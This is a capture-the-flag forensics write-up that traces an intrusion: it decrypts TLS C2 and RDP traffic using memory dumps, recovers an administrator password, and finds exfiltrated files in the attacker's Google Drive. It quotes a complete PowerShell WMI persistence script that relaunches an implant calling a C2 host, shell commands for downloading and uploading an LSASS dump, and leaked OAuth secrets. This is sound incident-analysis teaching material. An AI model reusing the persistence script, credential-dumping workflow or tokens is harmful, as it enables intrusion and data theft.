Cyber Apocalypse 2026 — Forensics — Remnant

Challenge

> We intercepted a dense web of courier transit-logs flowing through the capital's hidden service-throats. Sift through this captured chain of custody to uncover the counterfeit vows buried within the routine traffic. Retrace every forged witness-mark and stamped transfer to expose the architect behind the breach.

Artifacts provided

File	Size	Type
`capture.pcap`	34 MB	Network capture (Ethernet, 6 986 packets, 182 s)
`so.dmp`	34 MB	Windows minidump of the process `C:\Windows\Temp\so.exe`

Flags to recover

1. Password of the compromised account used to pivot into `JUMP01`
2. Exact name of the WMI object created for persistence
3. MD5 of the shellcode injected into a process
4. Unix timestamp when data from `JUMP01` was successfully uploaded to the attacker's storage
5. Filename of the document stolen from the CFO's computer found in the attacker's storage

Final flags

#	Flag
1	`HTB{CoffeeMonring@}`
2	`HTB{SystemOptimize}`
3	`HTB{f77d42ed3d0bd6888cb85d742ba8ef19}`

#	Flag
4	`HTB{1769849198}`
5	`HTB{VCS-Internal-Report.pdf}`

---

1. Reconnaissance

`capinfos` / `tshark` show two hosts on the internal `172.168.200.0/24` segment plus a handful of Internet endpoints.

TCP conversations:

```
172.168.200.57:49297 <-> 172.168.200.58:3389    11 MB   RDP (TLS)   <- interactive session
172.168.200.58:58582 <-> 96.237.253.177:8888     21 MB   HTTP        <- CloudSyncer.7z download
172.168.200.58:58578 <-> 96.237.253.177:8443    1.9 MB   TLS 1.3     <- C2 beacon
172.168.200.58:.....  <-> accounts.google.com    TLS 1.3             <- exfil OAuth
```

- `172.168.200.57` = **JUMP03** (attacker foothold)
- `172.168.200.58` = **JUMP01** (victim jump box, `NT AUTHORITY\SYSTEM`, PID 9552 runs `so.exe`)
- `96.237.253.177` = attacker C2 (`update.microsoft-windows.com`)

The protocol hierarchy is almost entirely TLS, so nothing is readable until we recover keys.

The minidump `so.dmp` is the C2 implant process. Its command line is stored in memory:

```
"C:\Windows\Temp\so.exe" update.microsoft-windows.com 8443 https
```

---

2. Decrypting the C2 channel (TLS 1.3) — establishing the storyline

The C2 (`tcp.stream 5`, port 8443) is TLS 1.3 with `TLS_AES_256_GCM_SHA384` (`0x1302`). Because we have a **memory dump of the client process**, the traffic secrets are still resident in the heap. Rather than reconstruct the whole key schedule, I brute-forced the 48-byte `*_TRAFFIC_SECRET_0` values directly out of `so.dmp`:

- For every offset in the dump, run `HKDF-Expand-Label(secret,"key",…)` / `…"iv"…` (SHA-384) to derive an AES-256-GCM key/iv.
- Try to authenticate the first application record of the connection.
- A GCM tag match = the real secret. (`brute.c`)

```
CLIENT_TRAFFIC_SECRET_0 = 87722c52e879a0f8…c54151adf4ae81b8
SERVER_TRAFFIC_SECRET_0 = b758582b5f5645d6…81eb024ece71e4
```

Feeding these to `tshark` via a keylog file decrypts the beacon. The application layer is a JSON tasking protocol wrapped in **Base64 → repeating-XOR**. Recovering the XOR key with a known-plaintext attack against the host-info beacon (`[{"ARC":"x64",…}]`) yields:

```
XOR key: dfsdgferhzdzxczevre5595485sdg   (29 bytes)
```

Decoded task stream (abridged):

time (UTC)	INS	detail
08:44:07	LM (load module)	`ListDirectory.dll`
08:44:29	LM	`Inject.dll`
08:44:33	**inject**	`-r /clt/klg.bin 7628` — keylogger shellcode into **PID 7628**
08:44:36	LM	`Shell.dll`
08:44:40	shell	`curl …:8888/CloudSyncer.7z -o C:\Windows\Temp\CloudSyncer.7z`
08:44:44	LM	`Powershell.dll`
08:44:47	powershell	`7z.exe x CloudSyncer.7z -powersyncer …`
08:44:53	powershell	`CloudSyncer.exe upload C:\Windows\Temp\error.dmp --compress`

So `error.dmp` (an LSASS dump of JUMP01) is compressed and uploaded to attacker cloud storage via a tool called **CloudSyncer**.

---

3. Flag 3 — Injected shellcode MD5

The `inject` task carries the payload in its `DA` (data) field. Decoded, it is raw shellcode (`E8 93 13 04 00 …` = `call rel32`) that is injected into PID 7628 (`-r /clt/klg.bin 7628` , keylogger).

```
md5(injected shellcode) = f77d42ed3d0bd6888cb85d742ba8ef19
```

> **Flag 3:** `HTB{f77d42ed3d0bd6888cb85d742ba8ef19}`

---

4. Pivoting into the attacker's cloud storage (Flags 4 & 5)

`CloudSyncer.7z` is downloaded in clear over HTTP (`tcp.stream 6`) and exported with `--export-objects http` . The archive is AES-encrypted; the password `powersyncer` is right there in the C2 command (`7z x … -powersyncer`).

Inside is `CloudSyncer.exe` , a .NET 6 single-file publish. I unpacked its bundle and read `CloudSyncer.dll` — it is a **Google Drive** exfiltration client. The embedded OAuth credentials are in plaintext:

```
client_id      549473216521-ro5rolkbfjlc6f2dai5t9tlncjcjkvg2.apps.googleusercontent.com
client_secret  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
refresh_token  1//04TXgu3wlSJilCgYIARAAGAQSNwF-L9Ir…
```

Exchanging the refresh token for an access token (Google's `/o/oauth2/token`) and listing the attacker's Drive (owner `alangly167@gmail.com`) exposes the entire loot folder:

```
JUMP01_error.dmp.zip                          createdTime 2026-01-31T08:46:38.613Z
VCS-EXEC-CFO-MRB-002_VCS-Internal-Report.pdf.zip
DESKTOP-A9F3K2_Telegram Desktop.zip
hhdc-db-01_database.zip / hhdc-db-02_database.zip
VDI-BO-002_VDI-creds.kdbx
…
```

The naming convention is `<HOSTNAME>_<original-filename>.zip` .

Flag 4 — upload timestamp

The sensitive LSASS dump from JUMP01 is `JUMP01_error.dmp.zip`, created on Drive at `2026-01-31T08:46:38.613Z`.

```
Unix( 2026-01-31T08:46:38Z ) = 1769849198
```

> **Flag 4:** `HTB{1769849198}`

Flag 5 — CFO document

The CFO's machine is `VCS-EXEC-CFO-MRB-002`. The stolen file inside its archive is:

```
VCS-EXEC-CFO-MRB-002_VCS-Internal-Report.pdf.zip  ->  VCS-Internal-Report.pdf
```

> **Flag 5:** `HTB{VCS-Internal-Report.pdf}`

---

5. Flags 1 & 2 — decrypting the RDP session

The attacker first pivoted into JUMP01 over **RDP** (`tcp.stream 3`), TLS 1.2 with `TLS_RSA_WITH_AES_256_CBC_SHA256` (`0x003d`). We downloaded the exfiltrated `JUMP01_error.dmp.zip` from the Drive; its password is derived by CloudSyncer and stored in `CloudSyncer.dll` (`6\1p0` + `BeVm]7/S.`). Unzipping gives `error.dmp` — the **LSASS dump of JUMP01**, which contains the SCHANNEL/NTLM secrets for the RDP session.

5a. Recover the TLS master secret from LSASS

TLS 1.2 with RSA key exchange can't be decrypted from the traffic alone, but the SCHANNEL master secret is cached in LSASS. Same brute-force idea as the C2, adapted to the TLS 1.2 SHA-256 PRF + AES-256-CBC-SHA256 (validate by decrypting the first server record and checking PKCS#7 padding + HMAC-SHA256) — `brute_tls12.c`:

```
client_random = 697dc080b7a99b01…b4b0c8be
server_random = 697dc0862bd513df…47524401
master secret = 3944135db2720a15…d0da4b3c   (found in error.dmp)
```

Decrypting the session reveals **CredSSP / NLA** with NTLMSSP. NTLM Type-3:

```
Domain   : JUMP01
User     : Administrator          (from workstation JUMP03)
NTProofStr / blob / EncRandomSessionKey captured
```

5b. Recover the account NT hash, then unseal the delegated credentials

CredSSP *delegates the cleartext password* to the server (sealed inside the NTLM security context). To unseal it I need the NTLM `ExportedSessionKey`, which derives from the user's NT hash. LSASS holds it — I brute-forced every 16-byte window of `error.dmp`, validating each candidate NT hash against the captured `NTProofStr` (`brute_nt.c`):

```
NT hash (JUMP01\Administrator) = 7f166d02eb42dc07bacc8e83f02738dc   (NTProofStr verified)
```

Then reconstruct the NTLMv2 key schedule and unseal CredSSP `authInfo`:

```
NTLMv2Hash        = HMAC-MD5(NThash, upper("Administrator")+"JUMP01")
SessionBaseKey    = HMAC-MD5(NTLMv2Hash, NTProofStr)            (= KeyExchangeKey)
ExportedSessionKey= RC4(KeyExchangeKey, EncryptedRandomSessionKey)   (KEY_EXCH set)
ClientSealingKey  = MD5(ExportedSessionKey + "session key to client-to-server sealing key magic c
```

RC4 with `ClientSealingKey` (continuous stream: `pubKeyAuth` data + 8-byte signature checksum, then `authInfo`) decrypts the `TSCredentials` → `TSPasswordCreds`. `pubKeyAuth` decrypting to the server RSA modulus confirms the keys are correct:

```
Domain  : JUMP01
Username: Administrator
Password: CoffeeMonring@
```

`md4("CoffeeMonring@".utf16le) == 7f166d02eb42dc07bacc8e83f02738dc` ✔ (matches the LSASS NT hash).

> **Flag 1:** `HTB{CoffeeMonring@}`

5c. Flag 2 — WMI persistence

After authenticating, the attacker's keystrokes/clipboard flow through the same decrypted RDP stream. The decrypted client stream contains the full PowerShell WMI event-subscription persistence:

```
$F=([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
$F.Name='SystemOptimize'
$F.QueryLanguage='WQL'
$F.EventNamespace='root\cimv2'
$F.Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
          TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
          AND TargetInstance.SystemUpTime>=200 AND TargetInstance.SystemUpTime<320"
$F.Put()|Out-Null
$C=([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance()
$C.Name='SystemOptimize'
$C.CommandLineTemplate='C:\Windows\Temp\so.exe update.microsoft-windows.com 8443 https'
$C.Put()|Out-Null
$B=([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$B.Filter=$F; $B.Consumer=$C; $B.Put()|Out-Null
```

The `__EventFilter`, `CommandLineEventConsumer` (and their binding) are all created with the name **`SystemOptimize`**, re-launching the `so.exe` implant.

> **Flag 2:** `HTB{SystemOptimize}`

Attack chain summary

1. Attacker (JUMP03) pivots into **JUMP01** via **RDP/NLA** as `JUMP01\Administrator` (`CoffeeMonring@`).
2. Drops and runs `C:\Windows\Temp\so.exe`, a TLS-1.3 C2 implant beaconing to `update.microsoft-windows.com:8443`.
3. Establishes **WMI persistence** (`__EventFilter` / `CommandLineEventConsumer` named `SystemOptimize`) to relaunch the implant.
4. Loads modules, **injects keylogger shellcode** (`md5 f77d42ed3d0bd6888cb85d742ba8ef19`) into PID 7628.
5. Dumps LSASS to `error.dmp`, pulls down **CloudSyncer** (a Google Drive exfil tool), and **uploads the dump** at Unix `1769849198`.
6. The same Drive holds prior loot, including the CFO's **`VCS-Internal-Report.pdf`**.

Tooling written for this challenge

- `brute.c` — TLS 1.3 traffic-secret recovery from `so.dmp` (SHA-384/AES-GCM).
- `brute_tls12.c` — TLS 1.2 master-secret recovery from `error.dmp` (SHA-256/AES-CBC-HMAC).
- `brute_nt.c` — NT-hash recovery from LSASS validated against the captured NTProofStr.
- Python: XOR/Base64 C2 decoder, .NET single-file bundle extractor, Google Drive client, CredSSP/NTLMv2 unsealer.